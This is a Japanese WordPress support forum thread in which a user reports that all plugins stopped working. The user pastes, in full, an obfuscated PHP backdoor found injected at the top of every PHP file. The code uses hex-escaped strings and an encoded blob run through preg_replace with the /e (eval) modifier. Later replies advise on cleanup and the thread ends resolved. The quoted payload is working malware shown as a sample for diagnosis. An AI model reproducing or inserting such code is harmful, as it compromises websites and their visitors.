サポート » プラグイン » インストール済みプラグインが表示されなくなってしまいました。

  • 解決済 Rikuju

    (@rikuju)


    しばらく更新停止状態になっていたWordPressを使用したサイトの更新を頼まれ、
    インストール済みプラグインを確認したところ、全てのプラグインにヘッダーの記述がないため動作していないという見慣れないエラー文が表示されました。
    テーマ編集画面から各種phpファイルを確認した所、全てのPHPに不審なコードが埋め込まれていました。

    現在、どの段階からかはわかりませんが、全てのインストール済みプラグインが表示されない状態ですが、
    FTPでアクセスした所、プラグインデータは残っているようでした。

    どうにかプラグインを再起動したいのですが、お知恵をお貸しいただけないでしょうか。

    なにとぞ、よろしくお願いいたします。

    ・WordPress のバージョン
    WordPress 4.2.5

    ・pluginsフォルダの中身
    akismet
    all-in-one-seo-pack
    black-studio-tinymce-widget
    contact-form-7
    custom-post-template
    duplicate-post
    easy-fancybox
    googleanalytics
    intuitive-custom-post-order
    jquery-smooth-scroll
    lazy-load
    ml-slider
    siteorigin-panels
    slayers-custom-widgets
    so-masonry
    so-widgets-bundle
    tinymce-advanced
    wp-database-backup
    wp-google-fonts
    wp-responsive-menu
    index.php

    ・テーマ名
    Vantage

    PHPのバージョン
    5.3.3

    MySQL のバージョン
    5.0

    ・サーバー環境
    レンタルサーバー名
    xserver

    OS
    Linux

    ・ブラウザ
    Google Chrome Ver.46.0.2490.80 m
    FireFox Ver.41.0.2

    ・エラーメッセージ
    メモが取れていないのですが、全てのプラグインに対して、
    ヘッダーの記述が間違っているため動作していませんという内容の赤文字が出ていました。

    また、FTPでアクセスしたところ、確認できる全てのPHPに対して下記のコードが追加されていました。

    ・phpの最初に追加されているコード
    <?php if(!isset($GLOBALS[“\x61\156\x75\156\x61”])) { $ua=strtolower($_SERVER[“\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54″]); if ((! strstr($ua,”\x6d\163\x69\145″)) and (! strstr($ua,”\x72\166\x3a\61\x31”))) $GLOBALS[“\x61\156\x75\156\x61″]=1; } ?><?php $pbfmhrhpoo = ‘dfyfR%x5c%x7827tfs%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c25!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zc%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825hd]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x782825hOh%x5c%x782f#00#W~!%x5c%x7825t]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]bfsdXA%x5c%x7827K6<%x5c%x787fw6x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x556]y76]72]y3d]51]y35]274]y4:]82]y3:]62])!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%xx7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbc%x7825%x5c%x782f#0#%x5q#%x5c%x785cq%x5c%x7825%x5c%x7827js5c%x7825j:>>1*!%x5c%x7825b:>1<!f860LDPT7-UFOJ%x5c%x7860GB)fu!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssutjyf%x5c%x7860opjudovg%x5c%x7822)!bE{h%x5c%x7825)sutcvt)esp>hmg%71]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]6%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]2]D2P4]D6#<%x5c%x7825G1L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D65c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x500#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]2x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x78tmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%xx7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x78mtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!x5c%x7825j:,,Bjg!)%xs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!f76]271]y7d]252]y74]256#<!%x5c5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x78tpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x78x5c%x7825w6Z6<.2%x5c%x7860h825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#004]273]y76]252]y85]256]y6g]257]y86]267]y74]275v%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x78x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x5c%x7825=*h%x5c%x782y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)78223}!+!<+{e%x5c%x78255-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%f#)rrd%x5c%x782f#00;quui#c%x782f*#npd%x5c%x78225:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%xgj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)g%x5c%x7825)!gj!<**2-4-bux5c%x7825!<12>j%x5c%x7825!7825)3of)fepdof%x5c%x786057ftbc%x5787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x78>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobx7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7864y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s2fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<+*!*+fepdfe{h+{d%x5c5c%x7825)tpqsut>j%x5c%x7825!*72!%|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%xb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB5c%x7825)Rb%x5c%x7825));utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%275]y83]248]y83]256]y81]265]y72]2525epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5a%146%x21%76%x21%50%x5c%3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7x5c%x782f2986+7**^%x5c%x782f%x5c5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufcq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x4!>!tus%x5c%x7860sfqmbdf)x5c%x7825j^%x5c%x7824-%x59275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x78c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%s%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5)fnbozcYufhA%x5c%x78272qj%x575%156%x61″]=1; function fjfgg($n){return chr(ord($n)-1);} @error_1%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:25z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7sbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x785j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#px78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%xc%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt29%73”, NULL); }c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubc%x7824tvctus)%x5c%x7825%x5c%x78247824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]22]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]60%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x782x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x782524]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x166%x61%154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x67825c:>1<%x5c%x7825b:>1<!gps)%x5c%xbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x722)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftm!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gx7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#j6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bub}C;!>>!}W;utpi}Y;tuofuopd%x5c5)7gj6<**2qj%x5c%x7825)hopm3qzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x78]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%xx5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!%x782f!**#sfmcnbs+yfeobz+sfwjids-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tx5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%4]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y7c%x7825bbT-%x5c%x7825bT-%x5x7827!hmg%x5c%x7825)!gj!|!*1?hmx7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%xZ;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x782hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]727u%x5c%x7825)7fmji%x5c%x78786<C%x5c9{d%x5c%x7825:osvufs:~928>>%x5reporting(0); preg_re%x5c%x78257**^#zsfvr#%x5c%x785cq%x5{fpg)%x5c%x7825s:*<%}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%if((function_exists(“%x6f%142%x5f%163%x74%141%x72%164”) && 2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%xUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x7858256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSpn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825hc%x787f!|!*uyfu%x5c%x7827k:!ftmf!}E{h%x5c%x7825)sutcvt)fubmgoj{>#]y31]278]y3e]81]K78:56985:6197g:7498%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%%x785c2b%x5c%x7825!>!*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5cc%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h156#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5A%x5c%x7827pd%x5c%x78256<C%x5c7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%5c%x7860{6:!}7;!}6;##x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7%x7824%x5c%x782f%x5c%x7825kj:-!OVMM24y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#5]y31]53]y6d]281]y43]78]y3%x5c%x7860FUPNFS&d_SFSFGFS%jA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x782#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7822w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboe(!isset($GLOBALS[“%x61%156%x75%156%x61”])))) { $GLOBALS[“%x61%156%xldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7824<%x5c%x7825j,,*x5c%x78257UFH#%x5c%x787825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tbg}%x5c%x787f;!osvufs}w;*%%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%fepdof.)fepdof.%x5c%x782f#@#%x5c%x]y6d]281Ld]245]K2]285]Ke]53L25!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%825tzw>!#]y76]277]y72]265]y39]274]y85]273]y%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y7f<*XAZASV<*w%x5c%x7825)place(“%x2f%50%x2e%52%x29%57%x65″,”%x65%25!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y2p%x5c%x7825!*3>?*2b%27*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%g]273]y76]271]y7d]252]y74]2osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%7825j:>1<%x5c%x7825j:=tj]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~c%x7827,*b%x5c%x7827)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m2]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]2872%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,ppde>u%x5c%x7825V<#65,47R25,d7R17,67R%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x782577860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)f37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x78%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860uf7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x541]334]368]322]3]364]6]283]x5c%x78242178}527}88:}334}4b%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%xc%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825t6g]273]y76]271]y7d]252]y74]256]y39]25x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48usqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x782ftpmdR6<*id%x5c%x7825)x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x78/(.*)/epreg_replacexbsncswfpk’; $svysvzdviz = explode(chr((228-184)),’6144,59,7660,67,3612,66,5983,21,8292,40,4449,62,3678,67,7451,53,3039,24,2501,63,6100,44,6994,57,8718,66,6653,38,1551,27,6896,30,3883,66,8476,66,10060,46,5917,36,9115,61,2905,59,7866,22,9244,36,1502,49,4593,40,644,28,318,31,7566,39,5111,29,7362,47,3583,29,4102,70,577,35,1721,34,6004,35,6373,41,3263,45,9176,68,4725,31,4868,66,3985,41,3190,33,6609,44,10038,22,0,25,6414,44,6269,68,1824,53,3518,28,3546,37,6973,21,5082,29,9333,55,7727,64,5349,57,4633,41,7954,26,9892,52,6059,41,5025,57,6542,29,5783,66,455,35,2757,33,4987,38,1209,44,8332,58,4026,60,9503,43,5654,31,2243,25,755,30,2268,26,2790,36,7888,66,720,35,2148,58,6691,21,8455,21,5494,65,349,67,554,23,2081,21,2056,25,2392,60,8843,21,8029,34,2452,49,3472,46,25,53,5406,32,9737,56,980,51,7791,52,2882,23,672,48,2826,56,7335,27,1082,59,8091,68,490,64,3830,53,2294,34,6508,34,5730,53,7155,68,1408,41,8784,59,5953,30,6764,66,3358,50,2102,46,1936,23,2737,20,3223,40,1342,37,1141,68,2328,64,8268,24,9078,37,9280,53,2679,58,6712,52,3745,51,9616,67,7504,62,2564,61,78,59,4546,47,8159,43,9855,37,4265,42,2964,34,5559,68,1676,45,8648,70,8569,55,4756,62,2206,37,8864,43,1877,22,4818,50,2625,54,8202,66,5311,38,6926,47,9710,27,8972,49,8542,27,6830,66,3408,64,3333,25,4172,34,5438,56,9996,42,3308,25,7980,49,5685,45,7843,23,4674,51,7086,69,4934,53,9546,70,4206,59,416,39,1899,37,2007,49,4362,52,1623,53,1449,53,2998,41,9021,57,6203,66,3120,38,230,34,7605,55,6458,50,6571,38,1959,48,5197,50,5849,68,8907,65,928,52,7277,32,6337,36,907,21,8063,28,179,51,7223,54,5627,27,137,42,1031,51,9683,27,9944,52,264,54,4414,35,9388,59,3158,32,9447,56,4511,35,8624,24,6039,20,1322,20,612,32,1253,69,1755,69,4307,55,3949,36,5247,64,3796,34,1578,45,9793,62,5140,57,7409,42,7051,35,8390,65,1379,29,854,53,785,69,7309,26,3063,57,4086,16′); $ycrjrqsnip=substr($pbfmhrhpoo,(53997-43891),(24-17)); if (!function_exists(‘zweygirssq’)) { function zweygirssq($oxncowmbwu, $piewbjzple) { $rfzzbrsima = NULL; for($qifnscklia=0;$qifnscklia<(sizeof($oxncowmbwu)/2);$qifnscklia++) { $rfzzbrsima .= substr($piewbjzple, $oxncowmbwu[($qifnscklia*2)],$oxncowmbwu[($qifnscklia*2)+1]); } return $rfzzbrsima; };} $hkioafyxvn=”\x20\57\x2a\40\x69\145\x64\143\x70\165\x63\163\x64\163\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\64\x35\55\x31\60\x38\51\x29\54\x20\143\x68\162\x28\50\x32\67\x37\55\x31\70\x35\51\x29\54\x20\172\x77\145\x79\147\x69\162\x73\163\x71\50\x24\163\x76\171\x73\166\x7a\144\x76\151\x7a\54\x24\160\x62\146\x6d\150\x72\150\x70\157\x6f\51\x29\51\x3b\40\x2f\52\x20\170\x6c\161\x70\151\x61\166\x67\163\x6a\40\x2a\57\x20”; $vfrjqhzknl=substr($pbfmhrhpoo,(51965-41852),(71-59)); $vfrjqhzknl($ycrjrqsnip, $hkioafyxvn, NULL); $vfrjqhzknl=$hkioafyxvn; $vfrjqhzknl=(616-495); $pbfmhrhpoo=$vfrjqhzknl-1; ?>

8件の返信を表示中 - 1 - 8件目 (全8件中)
  • クラッキングだと思われますが、テーマ、プラグインはどうした経路でインストールしたものですか。

    トピック投稿者 Rikuju

    (@rikuju)

    ご返信ありがとうございます。

    質問についてですが、以前管理していた者が既におらず不明な状態です。

    不審なコードについて調べると英語のサイトが多くヒットし、バックドアではないかという情報が出てくるようですね。

    早々にサイトはメンテナンスモードにして利用者から遮断しましょう。
    そして、wp-config.phpの冒頭に、
    evalではじまるコードが埋め込まれていませんか。

    トピック投稿者 Rikuju

    (@rikuju)

    迅速な対応ありがとうございます。

    evalで始まるコードはありませんでしたが、他のphp同様のコードに汚染されていました。

    どうにかルート以下全てのバックアップは取得できたので、ひとまず、このコードを全て除去するところから作業を始めてみようと思います。

    合わせてサーバーのコアファイルの有るディレクトリに不審なファイルがないか調べましょう。でないと、コードを削除してもまた書き込まれます。

    トピック投稿者 Rikuju

    (@rikuju)

    お世話になっております。

    ファイルを調べては見たのですが、WordPressにそこまで詳しくないためか、不審なファイルを見つけることはできませんでした。

    ひとまず、全phpファイルから不正なコードを除去することにより、サイトの表示は正常な状態に復帰することができました。
    しかし、下記2点のプラグインが現在も有効化するとサイトが停止してしまうような状態となっています。

    All In One SEO Pack
    バージョン 2.2.7

    Intuitive Custom Post Order
    バージョン 3.0.4

    プラグインは削除して、インストールし直すのが良いでしょう。
    また、これを機会に現在のWordPressに対応していないプラグインを削除するのも推奨します。
    テーマも同様で、デフォルトテーマと現在使用しているテーマ以外は削除した方がいいです。
    不要だと思えるプラグインがいくつか有るようです。

    トピック投稿者 Rikuju

    (@rikuju)

    アドバイスをありがとうございます。

    プラグインも一つ一つ精査して整理していきたいと思います。

    この度は大変お世話になりました。
    また何かの縁があればよろしくお願い致します。

8件の返信を表示中 - 1 - 8件目 (全8件中)
  • トピック「インストール済みプラグインが表示されなくなってしまいました。」には新たに返信することはできません。